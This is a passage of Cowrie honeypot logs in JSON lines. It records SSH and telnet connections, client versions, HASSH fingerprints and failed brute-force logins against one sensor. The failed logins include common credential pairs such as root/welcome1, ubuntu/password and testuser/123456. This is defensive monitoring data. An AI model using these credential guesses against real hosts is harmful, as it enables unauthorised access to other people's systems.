sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:01.886290Z","src_ip":"45.153.34.112","session":"c48a9f764edf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:02.138991Z","src_ip":"45.153.34.112","session":"c48a9f764edf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:03.226431Z","src_ip":"45.153.34.112","session":"c48a9f764edf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":36478,"dst_ip":"10.17.0.5","dst_port":22,"session":"cacc0fae1acd","protocol":"ssh","message":"New connection: 45.153.34.112:36478 (10.17.0.5:22) [session: cacc0fae1acd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:05.271151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:05.290892Z","src_ip":"45.153.34.112","session":"cacc0fae1acd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:05.375904Z","src_ip":"45.153.34.112","session":"cacc0fae1acd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57904,"dst_ip":"10.17.0.5","dst_port":23,"session":"77068b1d9ec2","protocol":"telnet","message":"New connection: 192.119.13.58:57904 (10.17.0.5:23) [session: 77068b1d9ec2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:05.449653Z"}
{"eventid":"cowrie.session.closed","duration":39.23856544494629,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:05.469890Z","src_ip":"192.119.13.58","session":"6b4983ee268f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome1","message":"login attempt [root/welcome1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:05.637640Z","src_ip":"45.153.34.112","session":"cacc0fae1acd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60500,"dst_ip":"10.17.0.5","dst_port":23,"session":"29ca1110f51a","protocol":"telnet","message":"New connection: 192.119.13.58:60500 (10.17.0.5:23) [session: 29ca1110f51a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:06.070938Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.68.83.105","src_port":34476,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f5a40cb8ee8","protocol":"ssh","message":"New connection: 186.68.83.105:34476 (10.17.0.5:22) [session: 8f5a40cb8ee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:06.844442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:06.859016Z","src_ip":"186.68.83.105","session":"8f5a40cb8ee8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:06.882018Z","src_ip":"45.153.34.112","session":"cacc0fae1acd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:06.950831Z","src_ip":"186.68.83.105","session":"8f5a40cb8ee8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shirley","message":"login attempt [root/shirley] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:07.338234Z","src_ip":"186.68.83.105","session":"8f5a40cb8ee8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:08.431396Z","src_ip":"186.68.83.105","session":"8f5a40cb8ee8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":36494,"dst_ip":"10.17.0.5","dst_port":22,"session":"166b6f2e9773","protocol":"ssh","message":"New connection: 45.153.34.112:36494 (10.17.0.5:22) [session: 166b6f2e9773]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:08.738719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:08.746484Z","src_ip":"45.153.34.112","session":"166b6f2e9773","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:08.829625Z","src_ip":"45.153.34.112","session":"166b6f2e9773","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123456","message":"login attempt [testuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:09.251568Z","src_ip":"45.153.34.112","session":"166b6f2e9773","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:10.339730Z","src_ip":"45.153.34.112","session":"166b6f2e9773","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49572,"dst_ip":"10.17.0.5","dst_port":23,"session":"13dfcb525a3f","protocol":"telnet","message":"New connection: 192.119.13.58:49572 (10.17.0.5:23) [session: 13dfcb525a3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:11.635846Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":51702,"dst_ip":"10.17.0.5","dst_port":22,"session":"b339aa63d54a","protocol":"ssh","message":"New connection: 45.153.34.112:51702 (10.17.0.5:22) [session: b339aa63d54a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:12.355236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:12.361601Z","src_ip":"45.153.34.112","session":"b339aa63d54a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:12.446476Z","src_ip":"45.153.34.112","session":"b339aa63d54a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"john","message":"login attempt [john/john] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:12.698341Z","src_ip":"45.153.34.112","session":"b339aa63d54a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:13.966580Z","src_ip":"45.153.34.112","session":"b339aa63d54a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.06181216239929,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:14.042159Z","src_ip":"192.119.13.58","session":"4eaa33885158","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40000,"dst_ip":"10.17.0.5","dst_port":23,"session":"04499a145982","protocol":"telnet","message":"New connection: 192.119.13.58:40000 (10.17.0.5:23) [session: 04499a145982]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:15.287612Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41504,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee247d41235f","protocol":"telnet","message":"New connection: 192.119.13.58:41504 (10.17.0.5:23) [session: ee247d41235f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:15.636712Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.177.3","src_port":44262,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d4e2c183f27","protocol":"ssh","message":"New connection: 170.106.177.3:44262 (10.17.0.5:22) [session: 7d4e2c183f27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:15.693950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:15.703599Z","src_ip":"170.106.177.3","session":"7d4e2c183f27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:15.774541Z","src_ip":"170.106.177.3","session":"7d4e2c183f27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":51710,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3c53ebb0229","protocol":"ssh","message":"New connection: 45.153.34.112:51710 (10.17.0.5:22) [session: b3c53ebb0229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:15.786973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:15.792866Z","src_ip":"45.153.34.112","session":"b3c53ebb0229","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:15.876769Z","src_ip":"45.153.34.112","session":"b3c53ebb0229","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2024@","message":"login attempt [root/Admin2024@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:16.093413Z","src_ip":"170.106.177.3","session":"7d4e2c183f27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"media","password":"media","message":"login attempt [media/media] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:16.129153Z","src_ip":"45.153.34.112","session":"b3c53ebb0229","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:17.170278Z","src_ip":"170.106.177.3","session":"7d4e2c183f27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:17.217759Z","src_ip":"45.153.34.112","session":"b3c53ebb0229","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53294,"dst_ip":"10.17.0.5","dst_port":23,"session":"38a144be8a8e","protocol":"telnet","message":"New connection: 192.119.13.58:53294 (10.17.0.5:23) [session: 38a144be8a8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:18.504460Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":51722,"dst_ip":"10.17.0.5","dst_port":22,"session":"17e9c3b1829b","protocol":"ssh","message":"New connection: 45.153.34.112:51722 (10.17.0.5:22) [session: 17e9c3b1829b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:19.465431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:19.478476Z","src_ip":"45.153.34.112","session":"17e9c3b1829b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:19.583673Z","src_ip":"45.153.34.112","session":"17e9c3b1829b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:19.985481Z","src_ip":"45.153.34.112","session":"17e9c3b1829b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.13493227958679,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:20.268511Z","src_ip":"192.119.13.58","session":"0d9c7757504f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.238.160.191","src_port":42794,"dst_ip":"10.17.0.5","dst_port":22,"session":"24a04635280d","protocol":"ssh","message":"New connection: 170.238.160.191:42794 (10.17.0.5:22) [session: 24a04635280d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:20.717749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:30:20.723078Z","src_ip":"170.238.160.191","session":"24a04635280d","protocol":"ssh"}
